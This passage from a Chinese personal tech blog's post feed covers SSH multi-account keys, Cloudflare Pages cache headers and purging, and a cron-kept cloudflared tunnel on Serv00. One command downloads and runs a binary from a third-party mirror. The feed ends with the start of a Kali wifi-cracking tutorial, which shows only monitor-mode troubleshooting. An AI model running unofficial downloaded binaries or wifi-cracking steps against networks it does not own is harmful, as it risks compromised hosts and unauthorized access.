git@github.com</span><br><span class="line"></span><br><span class="line"><span class="comment"># 测试HF.co账户a连接</span></span><br><span class="line">ssh -T git@hf.co</span><br><span class="line"></span><br><span class="line"><span class="comment"># 测试HF.co账户b连接[注意ssh-config中的Host别名为`hf_b.co`]</span></span><br><span class="line">ssh -T git@hf_b.co</span><br></pre></td></tr></table></figure><p>这种配置方式既清晰又简洁，使用最少的文件管理所有平台的SSH密钥，同时通过SSH配置文件实现了智能路由。</p><h2 id="拓展："><a href="#拓展：" class="headerlink" title="拓展："></a>拓展：</h2><h2 id="公私密钥的2种编码"><a href="#公私密钥的2种编码" class="headerlink" title="公私密钥的2种编码"></a><code>公私密钥</code>的2种编码</h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t rsa -b 4096 -f ~/.ssh/github -C <span class="string">&quot;github@example.com&quot;</span></span><br><span class="line">ssh-keygen -t ed25519 -f ~/.ssh/github -C <span class="string">&quot;github@example.com&quot;</span></span><br></pre></td></tr></table></figure><h3 id="1-RSA-4096-位密钥"><a href="#1-RSA-4096-位密钥" class="headerlink" title="1. RSA 4096 位密钥"></a>1. <strong>RSA 4096 位密钥</strong></h3><ul><li><strong>算法</strong>: RSA (Rivest-Shamir-Adleman)</li><li><strong>密钥长度</strong>: 4096 位</li></ul><h3 id="2-Ed25519-密钥"><a href="#2-Ed25519-密钥" class="headerlink" title="2. Ed25519 密钥"></a>2. <strong>Ed25519 密钥</strong></h3><ul><li><strong>算法</strong>: Ed25519 (基于椭圆曲线密码学)</li><li><strong>密钥长度</strong>: 256 位（相当于约 3000 位的 RSA 安全性）</li></ul><h2 id="C-参数的作用和影响"><a href="#C-参数的作用和影响" class="headerlink" title="-C 参数的作用和影响"></a>-C 参数的作用和影响</h2><h3 id="C-参数的含义"><a href="#C-参数的含义" class="headerlink" title="-C 参数的含义"></a>-C 参数的含义</h3><ul><li><code>-C</code> 参数用于添加注释，通常包含邮箱或标识信息</li><li>这个注释会出现在公钥的末尾，仅用于标识目的</li><li><strong>不影响密钥的加密功能或认证过程</strong></li></ul><h3 id="使用相同-C-值的影响"><a href="#使用相同-C-值的影响" class="headerlink" title="使用相同 -C 值的影响"></a>使用相同 -C 值的影响</h3><ul><li><strong>技术上</strong>: 完全没问题，不会影响 SSH 认证</li><li><strong>管理上</strong>: 不推荐，因为会使密钥难以区分</li><li><strong>最佳实践</strong>: 使用有意义的注释，如：<ul><li><code>&quot;hf-account1@example.com&quot;</code></li><li><code>&quot;hf-account2@example.com&quot;</code></li><li><code>&quot;github-work@example.com&quot;</code></li></ul></li></ul><hr><h1 id="SSH-配置与密钥管理详解"><a href="#SSH-配置与密钥管理详解" class="headerlink" title="SSH 配置与密钥管理详解"></a>SSH 配置与密钥管理详解</h1><h2 id="1-SSH-配置片段分析"><a href="#1-SSH-配置片段分析" class="headerlink" title="1. SSH 配置片段分析"></a>1. SSH 配置片段分析</h2><p>ssh-config</p><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Host github.com</span><br><span class="line">    CheckHostIP no</span><br><span class="line">    HostName ssh.github.com</span><br><span class="line">    User git</span><br><span class="line">    Port 443</span><br></pre></td></tr></table></figure><h3 id="这个配置的含义："><a href="#这个配置的含义：" class="headerlink" title="这个配置的含义："></a>这个配置的含义：</h3><ul><li><strong>目的</strong>：通过 HTTPS 端口（443）建立 SSH 连接，绕过某些网络限制</li><li><strong>具体设置</strong>：<ul><li><code>HostName ssh.github.com</code>：实际连接的主机名</li><li><code>Port 443</code>：使用 HTTPS 端口而非默认的 SSH 端口 22</li><li><code>User git</code>：使用 git 用户连接</li><li><code>CheckHostIP no</code>：不检查主机 IP 是否与 known_hosts 中的记录匹配</li></ul></li></ul><h3 id="是否正确？"><a href="#是否正确？" class="headerlink" title="是否正确？"></a>是否正确？</h3><p><strong>完全正确</strong>。这是 GitHub 官方推荐的备用连接方式，特别适用于：</p><ul><li>公司或学校网络限制 SSH 端口（22）的情况</li><li>防火墙阻止了标准 SSH 连接的环境</li></ul><h2 id="2-ssh-add-命令详解"><a href="#2-ssh-add-命令详解" class="headerlink" title="2. ssh-add 命令详解"></a>2. ssh-add 命令详解</h2><h3 id="命令作用："><a href="#命令作用：" class="headerlink" title="命令作用："></a>命令作用：</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ssh-add -D  <span class="comment"># 从 SSH 代理中移除所有已缓存的密钥</span></span><br><span class="line">ssh-add ~/.ssh/id_ed25519_main  <span class="comment"># 将指定密钥添加到 SSH 代理</span></span><br></pre></td></tr></table></figure><h3 id="使用场景："><a href="#使用场景：" class="headerlink" title="使用场景："></a>使用场景：</h3><ol><li><strong>密钥重命名后</strong>：更新 SSH 代理中的密钥路径</li><li><strong>切换身份时</strong>：清除旧密钥，添加新密钥</li><li><strong>安全考虑</strong>：会话结束后移除缓存的密钥</li><li><strong>调试问题</strong>：重新加载密钥以解决连接问题</li></ol><h3 id="工作流程示例："><a href="#工作流程示例：" class="headerlink" title="工作流程示例："></a>工作流程示例：</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 查看当前代理中的密钥</span></span><br><span class="line">ssh-add -l</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 清除所有密钥</span></span><br><span class="line">ssh-add -D</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 添加新密钥（需要密码时输入）</span></span><br><span class="line">ssh-add ~/.ssh/id_ed25519_main</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 验证密钥已添加</span></span><br><span class="line">ssh-add -l</span><br></pre></td></tr></table></figure><h2 id="3-known-hosts-文件详解"><a href="#3-known-hosts-文件详解" class="headerlink" title="3. known_hosts 文件详解"></a>3. known_hosts 文件详解</h2><h3 id="是什么？"><a href="#是什么？" class="headerlink" title="是什么？"></a>是什么？</h3><p><code>~/.ssh/known_hosts</code> 是一个存储已知 SSH 主机密钥的文件。</p><h3 id="作用："><a href="#作用：" class="headerlink" title="作用："></a>作用：</h3><ol><li><strong>安全验证</strong>：防止中间人攻击（Man-in-the-Middle）</li><li><strong>主机身份验证</strong>：确保连接的是真正的主机而非恶意服务器</li><li><strong>自动信任</strong>：首次连接后记录主机密钥，后续连接自动验证</li></ol><h3 id="文件内容示例："><a href="#文件内容示例：" class="headerlink" title="文件内容示例："></a>文件内容示例：</h3><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">github.com ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq2A7hRGmd...</span><br><span class="line">hf.co ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI...</span><br></pre></td></tr></table></figure><h3 id="常见操作："><a href="#常见操作：" class="headerlink" title="常见操作："></a>常见操作：</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查看 known_hosts 内容</span></span><br><span class="line"><span class="built_in">cat</span> ~/.ssh/known_hosts</span><br><span class="line"></span><br><span class="line"><span class="comment"># 删除特定主机的记录（当主机密钥变更时）</span></span><br><span class="line">ssh-keygen -R github.com</span><br><span class="line"></span><br><span class="line"><span class="comment"># 手动添加主机密钥（不推荐，有安全风险）</span></span><br><span class="line">ssh-keyscan github.com &gt;&gt; ~/.ssh/known_hosts</span><br></pre></td></tr></table></figure><h3 id="重要提示："><a href="#重要提示：" class="headerlink" title="重要提示："></a>重要提示：</h3><ul><li><p><strong>首次连接</strong>时会出现确认主机密钥的提示：</p><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">The authenticity of host &#x27;github.com (IP_ADDRESS)&#x27; can&#x27;t be established.</span><br><span class="line">RSA key fingerprint is SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8.</span><br><span class="line">Are you sure you want to continue connecting (yes/no/[fingerprint])?</span><br></pre></td></tr></table></figure></li><li><p>输入 <code>yes</code> 后，该主机的密钥会被添加到 <code>known_hosts</code> 中</p></li><li><p>如果主机密钥意外变更，连接会被拒绝（安全保护机制）</p></li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ol><li><strong>GitHub 的 443 端口配置</strong>是有效的备用连接方案</li><li><strong>ssh-add</strong> 用于管理 SSH 代理中的密钥缓存</li><li><strong>known_hosts</strong> 是重要的安全机制，确保连接的主机身份真实</li></ol><p>这样的配置和管理方式既保证了连接的灵活性，又确保了安全性。</p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CFPages-CacheRules</title>
      <link href="/posts/cfpages-cacherules/"/>
      <url>/posts/cfpages-cacherules/</url>
      
        <content type="html"><![CDATA[<p>[TOC]</p><h2 id="一、直接访问-pages-dev默认域名"><a href="#一、直接访问-pages-dev默认域名" class="headerlink" title="一、直接访问*.pages.dev默认域名"></a>一、直接访问<code>*.pages.dev</code>默认域名</h2><ol><li>在<code>source/</code>目录下新建<code>_headers</code>配置文件（无拓展名），内容（注意缩进）如下，</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"># 为所有静态资源设置缓存策略</span><br><span class="line"># 一年31536000，一周604800，一天86400</span><br><span class="line"></span><br><span class="line">/search.xml</span><br><span class="line">  Content-Type: application/xml</span><br><span class="line">  Cache-Control: public, max-age=600, s-maxage=3600</span><br><span class="line">  </span><br><span class="line">/</span><br><span class="line">  Cache-Control: public, max-age=600, s-maxage=3600</span><br><span class="line">  </span><br><span class="line">/posts/*</span><br><span class="line">  Cache-Control: public, max-age=600, s-maxage=3600</span><br><span class="line"></span><br><span class="line">/*.css</span><br><span class="line">  Content-Type: text/css; charset=utf-8</span><br><span class="line">  Cache-Control: public, max-age=86400, s-maxage=31536000</span><br><span class="line"></span><br><span class="line">/*.js</span><br><span class="line">  Content-Type: application/javascript</span><br><span class="line">  Cache-Control: public, max-age=604800, s-maxage=31536000</span><br><span class="line"></span><br><span class="line">/json/*</span><br><span class="line">  Content-Type: application/json</span><br><span class="line">  Cache-Control: public, max-age=604800, s-maxage=31536000</span><br><span class="line"></span><br><span class="line">/icons/*</span><br><span class="line">  Content-Type: image/webp</span><br><span class="line">  Cache-Control: public, max-age=604800, s-maxage=31536000</span><br></pre></td></tr></table></figure><p>（Cache-Control 的 max-age 是客户端缓存时间；s-maxage 是CDN 边缘节点（Cloudflare Edge）缓存时间；单位为“秒”。）</p><ol start="2"><li>部署pages项目时,会自动应用 <code>_headers</code>配置文件中定义的缓存规则！<br><img src="/posts/cfpages-cacherules/CFPages%E9%A1%B9%E7%9B%AE%E6%A0%B9%E7%9B%AE%E5%BD%95%E7%9A%84headers%E9%85%8D%E7%BD%AE%E7%94%9F%E6%95%881.webp" alt="CFPages项目根目录的headers配置生效"></li></ol><h2 id="二、缓存规则优先级"><a href="#二、缓存规则优先级" class="headerlink" title="二、缓存规则优先级"></a>二、<code>缓存规则</code>优先级</h2><p>若CFPages项目内 <code>_headers</code>文件中设置了 Cache-Control，并绑定了自定义域名，比如<code>aa.com</code>。即便该域名对应的CF面板中另行配置了“缓存规则”，也无效！<br><code>_headers</code> 是 Cloudflare Pages 构建阶段通过<code>Worker Runtime</code>注入的，非传统源站头，优先级<code>极高</code>！<br><strong><mark class="hl-label Cloudflare">控制面板规则可覆盖`非</mark> </strong></p><p><code>优先级</code> 如下：</p><table><thead><tr><th>优先级</th><th>来源类型</th></tr></thead><tbody><tr><td>🥇 1. Cloudflare Workers 或 Pages Runtime（如 <code>_headers</code> 设置的 <code>Cache-Control</code>）</td><td>CF Pages</td></tr><tr><td>🥈 2. 自定义 Worker 你手写的 <code>response.headers.set()</code></td><td></td></tr><tr><td>🥉 3. 源站 HTTP 响应头（非 Pages）</td><td>非CF Pages</td></tr><tr><td>⚪ 4. Cloudflare 缓存规则（Cache Rules）中设置“忽略缓存控制标头”+ TTL</td><td></td></tr><tr><td>⚪ 5. 页面规则中“缓存所有内容 + 边缘 TTL”设置（已被 Cache Rules 替代）</td><td></td></tr></tbody></table><h2 id="三、如何清除边缘缓存"><a href="#三、如何清除边缘缓存" class="headerlink" title="三、如何清除边缘缓存"></a>三、如何清除<code>边缘缓存</code></h2><h3 id="pages-dev默认域名"><a href="#pages-dev默认域名" class="headerlink" title="*.pages.dev默认域名"></a>*.pages.dev默认域名</h3><p><code>*.pages.dev</code>默认域名是 Cloudflare 拥有的共享域名，不在用户的 DNS 控制之下，用户没有清除缓存的权限，无法通过 Cloudflare 控制台或 API 强制清除边缘缓存，只有如下两种方法：</p><div class="tip success"><ol><li>等待<code>s-maxage</code>自动过期;</li><li>重新部署项目（版本变更，会强制刷新<code>边缘缓存</code>）</li></ol></div><h3 id="CF管理的域名"><a href="#CF管理的域名" class="headerlink" title="CF管理的域名"></a>CF管理的域名</h3><p>由于该自定义域名在用户的 DNS 控制之下，除了以上两种方式，还可以直接通过<code> Cloudflare 控制台</code>或 <code>API </code>强制清除<code>边缘缓存</code>。</p><ol><li>登录<code> Cloudflare 控制台</code>，点击对应区域的<code>清除边缘缓存</code>按钮，如下图。<br><img src="/posts/cfpages-cacherules/CF%E6%8E%A7%E5%88%B6%E5%8F%B0%E6%B8%85%E9%99%A4%E8%BE%B9%E7%BC%98%E7%BC%93%E5%AD%982.webp" alt="CF控制台清除边缘缓存"></li><li>调用CF的 <code>清理边缘缓存API</code>。</li></ol><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> axios = <span class="built_in">require</span>(<span class="string">&#x27;axios&#x27;</span>);</span><br><span class="line"><span class="comment">// 配置</span></span><br><span class="line"><span class="keyword">const</span> <span class="variable constant_">CLOUDFLARE_API_TOKEN</span> = <span class="string">&#x27;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#x27;</span>;</span><br><span class="line"><span class="keyword">const</span> <span class="variable constant_">CLOUDFLARE_ZONE_ID</span> = <span class="string">&#x27;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#x27;</span>;</span><br><span class="line"><span class="keyword">const</span> <span class="variable constant_">CLOUDFLARE_CACHE_API</span> = <span class="string">`https://api.cloudflare.com/client/v4/zones/<span class="subst">$&#123;CLOUDFLARE_ZONE_ID&#125;</span>/purge_cache`</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 清理缓存</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">clearCache</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> response = <span class="keyword">await</span> axios.<span class="title function_">post</span>(</span><br><span class="line">      <span class="variable constant_">CLOUDFLARE_CACHE_API</span>,</span><br><span class="line">      &#123; <span class="attr">purge_everything</span>: <span class="literal">true</span> &#125;,</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="attr">headers</span>: &#123;</span><br><span class="line">          <span class="title class_">Authorization</span>: <span class="string">`Bearer <span class="subst">$&#123;CLOUDFLARE_API_TOKEN&#125;</span>`</span>,</span><br><span class="line">          <span class="string">&#x27;Content-Type&#x27;</span>: <span class="string">&#x27;application/json&#x27;</span>,</span><br><span class="line">        &#125;,</span><br><span class="line">      &#125;</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (response.<span class="property">data</span>.<span class="property">success</span>) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Cloudflare 缓存(eamon.dpdns.org区域)已清理成功！&#x27;</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&#x27;缓存清理失败：&#x27;</span>, response.<span class="property">data</span>.<span class="property">errors</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125; <span class="keyword">catch</span> (error) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&#x27;清理缓存失败：&#x27;</span>, error.<span class="property">message</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CF </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Serv00-SetupAlive-CFTunnel</title>
      <link href="/posts/serv00-setupalive-cftunnel/"/>
      <url>/posts/serv00-setupalive-cftunnel/</url>
      
        <content type="html"><![CDATA[<h2 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h2><ol><li><p>将CFTunnel命名为<code>eamon-worker</code>。</p></li><li><p>服务器 主要目录结构：</p><blockquote><p>—home&#x2F;<br>    — 根目录（用户名）&#x2F;<br>    — <code>cloudflared可执行文件</code><br>    — .cloudflared&#x2F;<br>        — <code>cert.pem</code>文件<br>        —  <code>...789abc.json</code><br>        —  <code>config.yml</code></p></blockquote></li></ol><p><strong>注意<code>cloudflared可执行文件</code>所在位置，此种情形下：<br><code>./cloudflared tunnel run</code>等同于<code>~/cloudflared tunnel run</code></strong></p><h2 id="下载cloudflared可执行文件"><a href="#下载cloudflared可执行文件" class="headerlink" title="下载cloudflared可执行文件"></a>下载cloudflared可执行文件</h2><h3 id="方式一："><a href="#方式一：" class="headerlink" title="方式一："></a>方式一：</h3><p>将<a href="https://cloudflared.bowring.uk/binaries/cloudflared-freebsd-2024.11.1.7z">cloudflared可执行文件</a>下载到本地并解压后，上传到serv00服务器目录（此为<code>/home/user</code>根目录）。</p><h3 id="方式二："><a href="#方式二：" class="headerlink" title="方式二："></a>方式二：</h3><p>使用SSH客户端命令行工具 <code>下载、解压、重命名</code>可执行文件，若<code>wget命令</code>被禁用，可用<code>curl -L 命令</code>尝试。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://cloudflared.bowring.uk/binaries/cloudflared-freebsd-latest.7z &amp;&amp; 7z x cloudflared-freebsd-latest.7z &amp;&amp; rm cloudflared-freebsd-latest.7z &amp;&amp; mv -f ./temp/* ./cloudflared &amp;&amp; rm -rf temp</span><br></pre></td></tr></table></figure><h2 id="建立CFTunnel的两种方式："><a href="#建立CFTunnel的两种方式：" class="headerlink" title="建立CFTunnel的两种方式："></a>建立CFTunnel的<code>两种</code>方式：</h2><h3 id="方式一：-1"><a href="#方式一：-1" class="headerlink" title="方式一："></a>方式一：</h3><ol><li>登录CF，依次进入<code>zero trust =&gt; 网络 =&gt; Tunnel</code>界面；</li><li>创建<code>Cloudflare隧道</code>，为tunnel命名；</li><li>保存对应使用场景下，自动分配给该tunnel的token令牌；</li><li>填写tunnel将要绑定的hostname和service等信息；</li><li>待tunnel配置完毕后，在SSH命令窗（<code>cloudflared执行文件</code>所在路径）执行以下代码<code>启动CFTunnel</code>：</li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./cloudflared tunnel --edge-ip-version auto --protocol http2 --heartbeat-interval 10s run --token &lt;分配的token值`eyJhIjoi...`&gt;</span><br></pre></td></tr></table></figure><h3 id="方式二（CF本地隧道，本地关机有影响）："><a href="#方式二（CF本地隧道，本地关机有影响）：" class="headerlink" title="方式二（CF本地隧道，本地关机有影响）："></a>方式二（CF本地隧道，本地关机有影响）：</h3><p>在SSH命令窗（<code>cloudflared执行文件</code>所在路径）执行以下代码：</p><ol><li>认证CF账（认证成功会生成<code>cert.pem</code>，授予了全局访问权限）</li></ol>  <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./cloudflared tunnel login</span><br></pre></td></tr></table></figure><p>  它会给你一个 URL，在浏览器打开并登录 Cloudflare，之后选择你要绑定的域名。<br>2. 创建隧道（创建成功会生成<code>.json认证文件</code>）<br>  <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./cloudflared tunnel create eamon-worker</span><br></pre></td></tr></table></figure><br>  这会返回一个 Tunnel ID，比如：<br>  <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Created tunnel eamon-worker with id 12345678-1234-1234-1234-123456789abc</span><br></pre></td></tr></table></figure></p><ol start="3"><li>配置隧道</li></ol>  <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mkdir -p ~/.cloudflared</span><br><span class="line">nano ~/.cloudflared/config.yml</span><br></pre></td></tr></table></figure><blockquote><p>目的：当请求 eamon-worker.yourdomain.com 时（不怕域名被封），会先经过边缘节点众多的Cloudflare，再到 serv00（也不怕域名被封，ip不被封就没问题），再到eamon.pages.dev。<br>这样 serv00 不需要拥有自己的域名，但可以让 CF 托管的域名动态解析到 eamon.pages.dev，避免 DNS 污染和封锁问题。</p></blockquote><p>config.yml内容如下：<br>  <figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">tunnel:</span> <span class="number">12345678</span><span class="number">-1234</span><span class="number">-1234</span><span class="number">-1234</span><span class="string">-123456789abc</span></span><br><span class="line"><span class="attr">credentials-file:</span> <span class="string">/home/你的用户名/.cloudflared/12345678-1234-1234-1234-123456789abc.json</span></span><br><span class="line"><span class="attr">ingress:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">hostname:</span> <span class="string">eamon-worker.yourdomain.com</span></span><br><span class="line">    <span class="attr">service:</span> <span class="string">https://eamon.pages.dev</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">service:</span> <span class="string">http_status:404</span></span><br></pre></td></tr></table></figure></p><ol start="4"><li>启动CFTunnel</li></ol>  <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./cloudflared tunnel run eamon-worker</span><br></pre></td></tr></table></figure><h4 id="⚠️-注意："><a href="#⚠️-注意：" class="headerlink" title="⚠️ 注意："></a>⚠️ 注意：</h4><ol><li><code>hostname</code>需要是你在 Cloudflare 上的 自定义域名。</li><li><code>service</code>是你的目标网站（这里是 eamon.pages.dev）。</li><li><code>.json认证文件</code>会自动生成在<code>~/.cloudflared/</code>里。</li><li>由于 serv00 没有 root 权限，你 不能使用 systemctl 或 sudo，但可以手动运行 cloudflared，然后使用 nohup 或 screen 让它保持后台运行。</li><li>serv00 服务器 会定期杀进程，推荐 cron 保活，因为 screen 或 nohup 无法在进程被杀后自动重启。</li></ol><h2 id="serv00服务器上的CFTunnel保活"><a href="#serv00服务器上的CFTunnel保活" class="headerlink" title="serv00服务器上的CFTunnel保活"></a>serv00服务器上的CFTunnel保活</h2><h4 id="CFTunnel后台运行的2种方式（即使-SSH-断开，它仍然保持运行）："><a href="#CFTunnel后台运行的2种方式（即使-SSH-断开，它仍然保持运行）：" class="headerlink" title="CFTunnel后台运行的2种方式（即使 SSH 断开，它仍然保持运行）："></a>CFTunnel后台运行的2种方式（即使 SSH 断开，它仍然保持运行）：</h4><ol><li>screen，适合手动管理，随时可以进入查看日志</li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">screen -S cf-tunnel ~/cloudflared tunnel run eamon-worker</span><br></pre></td></tr></table></figure><ol start="2"><li>nohup 方式，比screen轻量级</li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">后台持续启动</span></span><br><span class="line">nohup ~/cloudflared tunnel run eamon-worker &gt; ~/cloudflared.log 2&gt;&amp;1 &amp;</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">停止 <span class="built_in">nohup</span> 运行</span></span><br><span class="line">pkill -f &quot;cloudflared tunnel&quot;</span><br></pre></td></tr></table></figure><blockquote><p>解释：<br>nohup → 让进程忽略 SIGHUP 信号，SSH 断开后仍继续运行；<br>~&#x2F;cloudflared.log 2&gt;&amp;1 → 把日志输出到 cloudflared.log，便于查看；<br>&amp; → 让进程在后台运行；</p></blockquote><h4 id="cron-自动重启进程（进程挂掉时，5-分钟内自动重启）"><a href="#cron-自动重启进程（进程挂掉时，5-分钟内自动重启）" class="headerlink" title="cron 自动重启进程（进程挂掉时，5 分钟内自动重启）"></a>cron 自动重启进程（进程挂掉时，5 分钟内自动重启）</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">crontab -e # 编辑cron任务（取消cron自动重启时，就将内容注释掉）</span><br><span class="line"></span><br><span class="line">*/5 * * * * pgrep -f &quot;cloudflared tunnel&quot; &gt; /dev/null || ./cloudflared tunnel run eamon-worker # 添加命令</span><br><span class="line"></span><br><span class="line">crontab -l # 检查cron是否启用</span><br><span class="line"></span><br><span class="line">pgrep cron || nohup cron &gt; /dev/null 2&gt;&amp;1 &amp; # 手动启用cron</span><br><span class="line"></span><br><span class="line">crontab -r # 清空所有cron任务，慎用！！</span><br></pre></td></tr></table></figure><blockquote><p>解释：<br>*&#x2F;5 * * * * → 每 5 分钟执行一次;<br>pgrep -f “cloudflared tunnel” → 查找是否有 cloudflared tunnel 进程在运行;<br>&#x2F;dev&#x2F;null → 把 pgrep 的输出丢弃（防止 cron 生成不必要的邮件）;<br>|| → 如果 pgrep 找不到进程（即 cloudflared 没在运行），就执行后面的cloudflared tunnel run serv00-tunnel</p></blockquote>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CF </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Kali破解wifi测试</title>
      <link href="/posts/kali-po-jie-wifi/"/>
      <url>/posts/kali-po-jie-wifi/</url>
      
        <content type="html"><![CDATA[<p>[TOC]</p><h2 id="一、wlan0无线网卡-监听不到数据包？"><a href="#一、wlan0无线网卡-监听不到数据包？" class="headerlink" title="一、wlan0无线网卡 监听不到数据包？"></a>一、wlan0无线网卡 监听不到数据包？</h2><ol><li><code>无线网卡断开与外部主机的链接，要直接与虚拟机链接（kali能识别到该网卡），并为网卡wlan0开启监听。</code></li><li><code>热插拔网卡</code>调试。</li><li>卸载重装当前网卡驱动，还不行就换个驱动</li></ol><h2 id="二、wlan0监听过程中总是-down？"><a href="#二、wlan0监听过程中总是-down？" class="headerlink" title="二、wlan0监听过程中总是 down？"></a>二、wlan0监听过程中总是 down？</h2><p>airodump-ng 抓包时，wlan0 总是进入 down 状态，可能是以下原因：</p><ol><li><p><code>NetworkManager</code> 或 <code>wpa_supplicant</code> 进程干扰（可能性不大）</p><p>NetworkManager 和 wpa_supplicant 可能会尝试控制无线网卡，导致 airodump-ng 运行一段时间后 网卡掉线。</p><p>先结束这2个进程：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo systemctl stop NetworkManager</span><br><span class="line">sudo 